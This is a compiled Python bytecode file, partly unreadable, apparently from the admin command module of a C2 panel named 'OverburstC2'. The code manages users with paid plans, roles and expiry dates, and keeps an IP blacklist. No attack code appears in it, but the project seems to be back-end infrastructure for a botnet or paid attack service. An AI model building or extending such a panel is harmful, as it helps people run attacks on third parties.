
    9+j                     f    S SK r S SKrS SKJr  S SKJrJrJrJrJ	r	  S SK
JrJrJrJr  S rS rS rg)    N)Fore)
load_users
save_usersadd_userremove_userget_user)load_blacklistadd_to_blacklistremove_from_blacklistis_blacklistedc                    [        U5      nU(       a  UR                  S5      S:w  a  U" U[        R                   S35        g U S:X  a  [	        XU5        g U S:X  a  [        XU5        g U" U[        R                   SU  S35        g )Nroleadminz1You don't have permission to use admin commands!
z!USERz
!BLACKLISTzUnknown admin command: 
)r   getr   REDhandle_user_commandhandle_blacklist_command)commandargsclientsendusername	user_datas         )/tmp/OverburstC2/src/commands/commands.pyhandle_admin_commandsr      sx    "I	f-8Vz!STU'D$/	L	  t4Vz!8	DE    c                 	   [         R                  n[         R                  n[         R                  n[         R                  n[        U 5      S:  a  U" U[         R                   S35        g U S   R                  5       nUS:X  a  [        5       nU(       d  U" X S35        g U" USU SU [        U5       35        U" USU SS	 S
S SS S3	5        U" X S35        U H`  n	U	R                  SS5      n
U	R                  SS5      nU	R                  SS5      nU	R                  SS5      nU" X U
S US US U 35        Mb     U" US5        g US:X  Ga  [        U 5      S:  a  U" U[         R                   S35        g U S   R                  5       n
U S   R                  5       nU S   R                  5       R                  5       nU S   R                  5       R                  5       nU S    R                  5       nU
(       a  [        U
5      S!:  a  U" X S"35        g [        R                  " S#U
5      (       d  U" X S$35        g U(       a  [        U5      S:  d  [        U5      S%:  a  U" X S&35        g UR                  5       (       d  U" X S'35        g  [        U5      nUS:  d  US(:  a  U" X S)35        g  [%        U
5      (       a  U" X S+U
 S,35        g / S-QnUU;  a  U" X S.S/R'                  U5       S35        g SS0/nUU;  a  U" X S1S/R'                  U5       S35        g [)        XXU5      (       a  U" X S+U
 S2U S335        g U" X S+U
 S2U S435        g US5:X  a  [        U 5      S:  a  U" U[         R                   S635        g U S   R                  5       n
U
(       a  [        U
5      S!:  a  U" X S735        g [        R                  " S#U
5      (       d  U" X S835        g [%        U
5      n	U	(       d  U" X S+U
 S935        g [        5       nU Vs/ s H  nUS   U
:w  d  M  UPM     nn[+        U5        U" X S+U
 S:35        g U" X S;U S35        g ! [         ["        4 a    U" X S*35         g f = fs  snf )<N   zUUsage: !USER LIST | !USER ADD <username> <password> <plan> | !USER REMOVE <username>
   LISTzNo users found in database!
r   zUsers in database: Usernamez
          Rolez        PlanExpiresz5-----------------------------------------------------r   unknownr   userplanbasic
expires_atneverz<18z<12 ADD   zGUsage: !USER ADD <username> <password> <plan> <role> <expires in days>
                z+Invalid username! Must be 1-32 characters.
z^[a-zA-Z0-9_-]+$zJInvalid username format! Only alphanumeric, underscore, and dash allowed.
   z,Invalid password! Must be 4-128 characters.
z'Invalid expiry days! Must be a number.
iB  z1Invalid expiry days! Must be between 1 and 3650.
z-Invalid expiry days! Must be a valid number.
zUser z already exists!
)r)   premiumvipzInvalid plan! Choose from: z, r   zInvalid role! Choose from: z with plan z added successfully!
z NOT ADDED!
REMOVEzUsage: !USER REMOVE <username>
zInvalid username!
zInvalid username format!
z not found!
z removed successfully!
zUnknown user command: )r   LIGHTBLACK_EXLIGHTWHITE_EXr   GREENlenYELLOWupperr   r   striplowerrematchisdigitint
ValueErrorOverflowErrorr   joinr   r   )r   r   r   grayCRGactionusersr'   r   r   r(   expirespasswordexpires_strvalid_plans
valid_roleus                      r   r   r      s   DAA

A
4y1}V}$z{|!W]]_F3;<=Vr!/s3u:,?@Vr$xxtE7$ugWMNVvRSTDxx
I6H88FF+D88FG,Dhh|W5G3xnT#JtCj	JK  	VR	5t9q=DKK=(pqr7==?7==?Aw}}$$&Aw}}$$&1gmmo3x=2-3JKLxx+X663ijk3x=1,H0C3KLM""$$3FGH	+&G{gnVs"TUV - H3eH:-?@A1{"39$))K:P9QQSTUg&
z!39$))J:O9PPRSTHG<<3eH:[>TUVVs%zTF-HI	8	t9q=DKK=(HIJ7==?3x=2-3123xx+X66389:!3eH:];<!?EqQz]h%>E?5Vs%z)ABC 	Vs0;<g M* 	3LMN	\ @s   "Q Q=+Q=Q:9Q:c           
         [         R                  n[         R                  n[         R                  n[         R                  n[        U 5      S:  a  U" U[         R                   S35        g U S   R                  5       nUS:X  an  [        5       nU(       d  U" X S35        g U" USU SU [        U5       35        U" USU S35        U" X S	35        U H  n	U" X U	 35        M     U" US
5        g US:X  a  [        U 5      S:  a  U" U[         R                   S35        g U S   n	SS K	n
U
R                  " S5      nUR                  U	5      (       d  U" X S35        g [        U	5      nSU;   a  U" X U S35        g U" X U S35        g US:X  a\  [        U 5      S:  a  U" U[         R                   S35        g U S   n	[        U	5      nSU;   a  U" X U S35        g U" X U S35        g U" X SU S35        g )Nr   zFUsage: !BLACKLIST LIST | !BLACKLIST ADD <ip> | !BLACKLIST REMOVE <ip>
r    r!   zBlacklist is empty!
r   zBlacklisted IPs: z
IP Addressz---------------r,   r-   r/   zUsage: !BLACKLIST ADD <ip>
r   z,^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$zInvalid IP format!
successfullyr7   zUsage: !BLACKLIST REMOVE <ip>
zUnknown blacklist command: )r   r8   r9   r   r:   r;   r<   r=   r	   r@   compilerA   r
   r   )r   r   r   rG   rH   rI   rJ   rK   	blacklistipr@   patternresults                r   r   r      s   DAA

A
4y1}V}$klm!W]]_F"$	3345Vr!-aSY0@ABVr$z*+Vv_-.B3rd$ VR	5t9q=DKK=(DEF!W**LM}}R  3234!"%V#3vhb)*3vhb)*	8	t9q=DKK=(GHI!W&r*V#3vhb)*3vhb)* 	Vs5fXR@Ar   )	threadingr@   coloramar   src.database.databaser   r   r   r   r   src.blacklist.blacklistr	   r
   r   r   r   r   r    r   r   <module>r_      s*      Y Y k kFr=h;Br   